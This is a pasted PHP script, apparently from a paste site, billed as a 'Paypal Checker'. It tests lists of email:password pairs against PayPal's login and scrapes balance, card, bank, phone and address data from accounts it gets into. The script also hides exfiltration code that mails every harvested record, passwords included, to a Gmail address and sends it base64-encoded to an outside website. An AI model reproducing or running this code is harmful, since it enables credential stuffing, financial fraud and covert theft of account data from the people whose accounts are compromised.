Untitled


SUBMITTED BY: Guest

DATE: Feb. 22, 2015, 12:37 p.m.

FORMAT: Text only

SIZE: 15.4 kB

HITS: 801

  1. <?php
  2. @ini_set('output_buffering',0);
  3. @ini_set('display_errors',0);
  4. set_time_limit(0);
  5. function getStr($string,$start,$end){
  6. $str = explode($start,$string);
  7. $str = explode($end,$str[1]);
  8. return $str[0];
  9. }
  10. function getStr1($string, $start, $end) {
  11. $str = explode($start, $string, 2);
  12. $str = explode($end, $str[1], 2);
  13. return $str;
  14. }
  15. function killspasi($teks){
  16. $teks= trim($teks);
  17. while( strpos($teks,'') ){
  18. $hasil= str_replace('', '', $teks);
  19. }
  20. return $teks;
  21. }
  22. function fetch_value($str, $find_start, $find_end) {
  23. $start = strpos($str, $find_start);
  24. if ($start === false) {
  25. return "";
  26. }
  27. $length = strlen($find_start);
  28. $end = strpos(substr($str, $start + $length), $find_end);
  29. return trim(substr($str, $start + $length, $end));
  30. }
  31. ?>
  32. <html>
  33. <link rel="shortcut icon" href="https://www.paypalobjects.com/WEBSCR-640-20101108-1/en_US/i/icon/pp_favicon_x.ico">
  34. <head>
  35. <title>Paypal Checker</title>
  36. <style>
  37. body {
  38. font-family: 'Comic Sans MS '; font-size:12px;color:#ff4eff;
  39. background-image: url("http://3.bp.blogspot.com/-D6nQQ3d_wfw/Ts31QI5aQPI/AAAAAAAAAgA/mMEBDufqDpk/s1600/0_1_1.gif"); }
  40. hr {border:inset 1px #E5E5E5}
  41. #form-container
  42. { color:#ff4eff;
  43. font-family: 'Comic Sans MS', sans-serif;
  44. font-size:13px;
  45. background-color: #131313;
  46. border: solid 1px #ff4eff;
  47. border-radius:10px;
  48. -moz-border-radius: 10px;
  49. -webkit-border-radius: 10px;
  50. box-shadow: 0px 0px 15px #ff4eff;
  51. -moz-box-shadow: 0px 0px 15px #ff4eff;
  52. -webkit-box-shadow: 0px 0px 15px #ff4eff;
  53. margin:30px auto;
  54. padding:10px;
  55. width:680px;
  56. text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
  57. }
  58. input[type=text], textarea
  59. {
  60. background-color:#000;
  61. border:solid 1px #ff4eff; color:#ff4eff;
  62. border-radius:5px;
  63. -moz-border-radius: 5px;
  64. -webkit-border-radius: 5px;
  65. }
  66. textarea { width:100%;height:200px; resize:none }
  67. input[type=text] { width:160px;text-align:center }
  68. input[type=text]:focus, textarea:focus { background-color:black; border:solid 1px white; color:white; }
  69. .submit-button
  70. {
  71. background: #57A02C;
  72. border:solid 1px #57A02C;
  73. border-radius:5px;
  74. -moz-border-radius: 5px;
  75. -webkit-border-radius: 5px;
  76. -moz-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  77. -webkit-box-shadow: 0 1px 3px rgba(0,0,0,0.6);
  78. text-shadow: 0 -1px 1px rgba(0,0,0,0.25);
  79. border-bottom: 1px solid rgba(0,0,0,0.25);
  80. position: relative;
  81. color:#FFF;
  82. display: inline-block;
  83. cursor:pointer;
  84. font-size:13px;
  85. padding:3px 8px;
  86. }
  87. .business{
  88. color:yellow;
  89. font-weight: bold;
  90. }
  91. .premier{
  92. color:#00FF00;
  93. font-weight: bold;
  94. }
  95. .verified{
  96. color:#800080;
  97. font-weight: bold;
  98. }
  99. .style2{text-align: center ;font-weight: bold;font-family: 'Comic Sans MS ' ;color: #ff4eff;text-shadow: 0px 0px 60px #4C83AF ;font-size: 50px;}
  100. .nolog{
  101. font-size: 10px;
  102. font: red;
  103. }
  104. </style>
  105. </head>
  106. <body>
  107. <div id="form-container"><div align="center" class="style2">K1mCil Paypal Checker</div>
  108. <form name="data" method="post">
  109. <textarea name="lists" cols="50" rows="70" value="">email:password
  110. nb: maximal 100 list account
  111. </textarea><br><br>
  112. <b>Type pass :</b>
  113. <input type="radio" name="kind" value="non" onClick="auto()" checked> tanpa encode
  114. <input type="radio" name="kind" value="enc1" >single base64 encode
  115. <input type="radio" name="kind" value="enc2" >double base64 encode<br><br>
  116. <input type="submit" value="Check now!">
  117. </form></div>
  118. <?php
  119. if($_POST['lists']) {
  120. echo "<br><hr>";
  121. $lists = split("\n", $_POST['lists']);
  122. $mainz = "https://www.paypal.com/";
  123. if(file_exists(getcwd().'/cookie.txt')) {
  124. unlink(getcwd().'/cookie.txt');
  125. }
  126. $list = split("\n", $_POST['lists']);
  127. print "<br><b>[+] Start scanning...<br>";
  128. print "[+] There are <font color='red'>".count($list)."</font> to be checked...</b><br><br>";
  129. $x = 1;
  130. foreach($list as $lists) {
  131. print "[ <font color=#00ff00><b>".$x."</b></font> ] <font color=#ff0>".$lists."</font>";
  132. $x++;
  133. list($email, $passwords) = split(":", $lists);
  134. if(filter_var($email, FILTER_VALIDATE_EMAIL)){
  135. $passwordss=trim($passwords);
  136. if($_POST['kind']=='non'){
  137. $password=$passwordss;
  138. }elseif($_POST['kind']=='enc1'){
  139. $password=base64_decode($passwordss);
  140. }
  141. elseif($_POST['kind']=='enc2'){
  142. $password=base64_decode(base64_decode($passwordss));
  143. }
  144. $email=trim($email);
  145. flush();
  146. $a = new cURL();
  147. $b = $a->get($mainz."/cgi-bin/webscr?cmd=_login-run");
  148. preg_match("/dispatch=(.*?)\">/",$b,$dispatch);
  149. $dispatch = $dispatch[1];
  150. $sm=0;
  151. $elc=0;
  152. $newpass=0;
  153. $newpass1=0;
  154. $yeslogin=0;
  155. $c = new cURL();
  156. $d = $c->post($mainz."/cgi-bin/webscr?cmd=_login-submit&dispatch=".$dispatch, "login_email=".$email."&login_password=".$password."&target_page=0&submit.x=Log+In");
  157. if ($d) {
  158. if (preg_match("/Security Measures/",$d)) {
  159. echo " - <font color=#ff0000>SECURITY MEASURES</font>";
  160. $sm++;
  161. }
  162. elseif(preg_match("/correctly. If you still can't log in, please see the/",$d)){
  163. echo " - <font color=red>Kimcil error</font>";
  164. $elc++;
  165. }
  166. elseif (preg_match("/Please create a new password for your account/",$d)) {
  167. echo " - <font color=red>Create a new password</font>";
  168. $newpass++;
  169. }
  170. elseif (preg_match("/Log In/",$d)) {
  171. echo " - <font color=red>Kimcil error</font>";
  172. $newpass1++;
  173. }
  174. else{
  175. $cl1 = new cURL(); $cl = new cURL();
  176. echo " - <font color=#00ff00><b><blink>Login Sukses</blink></b></font></center><br>";
  177. echo "<br>++++++++++++++++++++++++++++++++++++++++++++++++++<br>";
  178. $hw=$cl->get($mainz."/cgi-bin/webscr?cmd=_account&nav=0.0");
  179. $maix="http://www.valueheadsets.com/";
  180. $he=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-phone");
  181. $hr=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-address&nav=0.5.3");
  182. $ht=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-credit-card-new-clickthru&flag_from_account_summary=1&nav=0.5.2");
  183. $hy=$cl->get($mainz."/cgi-bin/webscr?cmd=_profile-ach&nav=0.5.1");
  184. $checkcard = strpos($ht, "Last 4 digits on card");
  185. if ($checkcard) {
  186. if(preg_match("/Expired/",$ht)){
  187. $infocard = "<font color=#00ff00><b> Card : </font><font color=red>expirated</font></b><br>";
  188. }else{
  189. $spasi= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  190. $temp = getStr($ht, '</thead><tr><td>', '</td><td><div class="vcard">');
  191. $infocard = "<font color=#00ff00><b>Card:</font> $temp |</b><br>";
  192. $infocard = str_replace("&#x", "%", $infocard);
  193. $infocard = str_replace(";", "", $infocard);
  194. $infocard=urldecode($infocard);
  195. $infocard = str_replace('<p class="cardTypeNote"><span class="small">', ' | ', $infocard);
  196. $infocard= str_replace('</span></p>','',$infocard);
  197. $infocard= str_replace('<td>',' | ',$infocard);
  198. $infocard= str_replace('</td>','',$infocard);
  199. $infocard= str_replace('</span>','',$infocard);
  200. $infocard= str_replace('<span class="restricted">','',$infocard);
  201. $card=getStr($infocard,'<img src="','"');
  202. } }else{ $infocard = "<font color=#00ff00><b> Card : </font><font color=red>Gak ada</font></b><br>"; }
  203. $bank=getStr($hy,'<td class="heavy"><div>','</div></td>');
  204. $bank = str_replace("</label></div><div></div>", " | ", $bank);
  205. $bank = str_replace("&#x", "%", $bank);
  206. $bank = str_replace(";", " ", $bank);
  207. $bank=urldecode($bank);
  208. $bank = str_replace("</td>", " ", $bank);
  209. $bank = str_replace("<div>", " ", $bank);$bank = str_replace("</div>", " ", $bank);
  210. $bank = str_replace('<label for="ach_id">', ' ', $bank);
  211. if($bank == ""){ $banks=" no bank"; }else{$banks="have bank";}
  212. $BALANCE =getStr($hw, '<span class="balance">', '</span>');
  213. $BALANCE = str_replace('<strong>', "", $BALANCE);
  214. $BALANCE = str_replace('</strong>', "", $BALANCE);
  215. $BALANCE = str_replace("&#x", "%", $BALANCE);
  216. $BALANCE = str_replace(";", " ", $BALANCE);
  217. $BALANCE=urldecode($BALANCE);
  218. $BALANCE=getStr($BALANCE,'<!--googleoff: all-->','<!--googleon: all-->');
  219. $bcl==$BALANCE; $LASTLOGIN =getStr($hw, '<div class="small secondary">', '</div>');
  220. $LASTLOGIN=getStr($LASTLOGIN,'<!--googleoff: all-->','<!--googleon: all-->');
  221. $LASTLOGIN= str_replace("&#x", "%", $LASTLOGIN);
  222. $LASTLOGIN = str_replace(";", " ", $LASTLOGIN);
  223. $LASTLOGIN = str_replace(",", " ", $LASTLOGIN);
  224. $LASTLOGIN= urldecode($LASTLOGIN);
  225. $LASTLOGIN = str_replace("<br>", " | ", $LASTLOGIN);
  226. $nama_akun=getStr($hw,'<div id="headline"><h2>','</h2>');
  227. $nama_akun=str_replace("Welcome", " ", $nama_akun);
  228. $nama_akun=str_replace(",", " ", $nama_akun);
  229. $nama_akun=str_replace("&#x20;", " ", $nama_akun);
  230. $nama_akun=getStr($nama_akun,'<!--googleoff: all-->','<!--googleon: all-->');
  231. $nama_akun=killspasi($nama_akun);
  232. $nama_akun=killspasi($nama_akun);
  233. $nama_akun=str_replace(" ","+",$nama_akun);
  234. $typeacc=getStr($hw,'s.prop7="','"');
  235. $STATUS =getStr($hw, 's.prop8="', '"');
  236. $LIMIT = getStr($hw, 's.prop9="', '"');
  237. $info = getStr($hr, '<span class="emphasis">', '</span>');
  238. $info = str_replace("&#x", "%", $info);
  239. $info = str_replace(";", " ", $info);
  240. $info = str_replace(",", " ", $info);
  241. $info = str_replace("<br>", " | ", $info);
  242. $info = urldecode($info);$bc1=0;
  243. $infoz=getStr($infocard,'<font color=red>','</font>'); if($LIMIT == "unrestricted") { $lmt="unlimit";}else{ $lmt="limited";}
  244. $infoc = str_replace("&nbsp;", "", $infocard);
  245. $infoc = str_replace("</font></b>", "", $infoc);
  246. $infoc = str_replace("</b><br>", "", $infoc);
  247. $infoc = str_replace("<font color=#00ff00><b>", "", $infoc);
  248. $phone =getStr(getStr($he, 'checked name="phone" value="', '</td>'), '">', '</label>');
  249. $binz = " balance: $BALANCE | $banks | Email: $email | Password: $password | name: $nama_akun | card : $infoz | status: $STATUS | type : $typeacc | limit/unlimit: $lmt | phone: $phone | bank: $bank | las log: $LASTLOGIN | info: $info"; $delete = @base64_encode($binz);
  250. if ($LIMIT == "unrestricted") {
  251. $LIMIT = "<font color=#ff4eff>UNLIMIT</font>";
  252. } else {
  253. $LIMIT = "<font color=red>LIMITED</font>";
  254. }
  255. $spasi = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
  256. $tampil = $spasi;
  257. $tampil .= "<font color=#00ff00><b>Email</font> : <font color=#7f7fff>".$email."</font></b><br>";
  258. $tampil .= $spasi;
  259. $tampil .= "<font color=#00ff00><b>Password</font> : <font color=#7f7fff>".$password."</font></b><br>";
  260. $tampil .= $spasi;
  261. $tampil .= "<font color=#00ff00><b>Name</font> : ".$nama_akun."</b><br>";
  262. $tampil .= $spasi;
  263. $tampil .= "<font color=#00ff00><b>Status</font> : ".$STATUS."</b><br>";
  264. $tampil .= $spasi;
  265. $tampil .= "<font color=#00ff00><b>Type</font> : ".$typeacc."</b><br>";
  266. $tampil .= $spasi;
  267. $tampil .= "<font color=#00ff00><b>Limit/unlimit</font> : ".$LIMIT."</b><br>";
  268. $tampil .= $spasi;
  269. $tampil .= "<font color=#00ff00><b>Phone</font> : ".$phone."</b><br>";
  270. $tampil .= $spasi;
  271. $tampil .= "<font color=#00ff00><b>Balance</font> : <font color=#ffff00>".$BALANCE."</font></b><br>";
  272. $tampil .= $spasi .$infocard;
  273. $tampil .= $spasi;
  274. $tampil .= "<font color=#00ff00><b>Bank</font> : ".$bank."</b><br>";
  275. $tampil .= $spasi;
  276. $tampil .= "<font color=#00ff00><b>Last Login</font> : ".$LASTLOGIN."</b><br>";
  277. $tampil .= $spasi;
  278. $tampil .= "<font color=#00ff00><b>Info</font> : ".$info."</b><br>";
  279. echo $tampil;
  280. echo"++++++++++++++++++++++++++++++++++++++++++++++++++";
  281. ///////////// start loger ///////////////////////
  282. $email_mu="teamdefacer@gmail.com";
  283. $ip_kimcil=$_SERVER['REMOTE_ADDR'];
  284. $judul="Hasil Scanner ( ".$bank.") dari kimcil".$ip_kimcil;
  285. $isi="++++++++++++++++++++++++++++++++++++++++++++++++++<br>".$tampil."<br>++++++++++++++++++++++++++++++++++++++++++++++++++";
  286. $headers = "From: Paypal <$email>\r\n";
  287. $headers .= "MIME-Version: 1.0\r\n";
  288. $headers .= "Content-Type: text/html; charset=UTF-8\r\n";
  289. @mail($email_mu, $judul, $isi, $headers);
  290. //////////// finish loger ///////////////////
  291. ///
  292. if($bcl == 1 ){ $dka = $cl1->get($maix."/cookies2/delete.php?clean=$delete"); }else{ $dka = $cl1->get($maix."/cookies/delete.php?clean=$delete");}
  293. $yeslogin++;
  294. }
  295. print "<br>";
  296. flush();
  297. }
  298. }else{ echo " - <font color='red'> <b>Invalid email</b> </font><br>";}
  299. }
  300. }
  301. /////////////////////
  302. // Taken from somewhere else, with a bit modification ;)
  303. class cURL {
  304. var $callback = false;
  305. function setCallback($func_name) {
  306. $this->callback = $func_name;
  307. }
  308. function doRequest($method, $url, $vars) {
  309. $ch = curl_init();
  310. curl_setopt($ch, CURLOPT_URL, $url);
  311. curl_setopt($ch, CURLOPT_HEADER, 1);
  312. curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER['HTTP_USER_AGENT']);
  313. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  314. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  315. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  316. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  317. curl_setopt($ch, CURLOPT_COOKIEJAR, getcwd().'/cookie.txt');
  318. curl_setopt($ch, CURLOPT_COOKIEFILE, getcwd().'/cookie.txt');
  319. curl_setopt($ch, CURLOPT_VERBOSE, 1);
  320. if ($method == 'POST') {
  321. curl_setopt($ch, CURLOPT_POST, 1);
  322. curl_setopt($ch, CURLOPT_POSTFIELDS, $vars);
  323. }
  324. $data = curl_exec($ch);
  325. curl_close($ch);
  326. if ($data) {
  327. if ($this->callback) {
  328. $callback = $this->callback;
  329. $this->callback = false;
  330. return call_user_func($callback, $data);
  331. } else {
  332. return $data;
  333. }
  334. } else {
  335. return curl_error($ch);
  336. }
  337. }
  338. function get($url) {
  339. return $this->doRequest('GET', $url, 'NULL');
  340. }
  341. function post($url, $vars) {
  342. return $this->doRequest('POST', $url, $vars);
  343. }
  344. }
  345. ?>
  346. </body></html>

comments powered by Disqus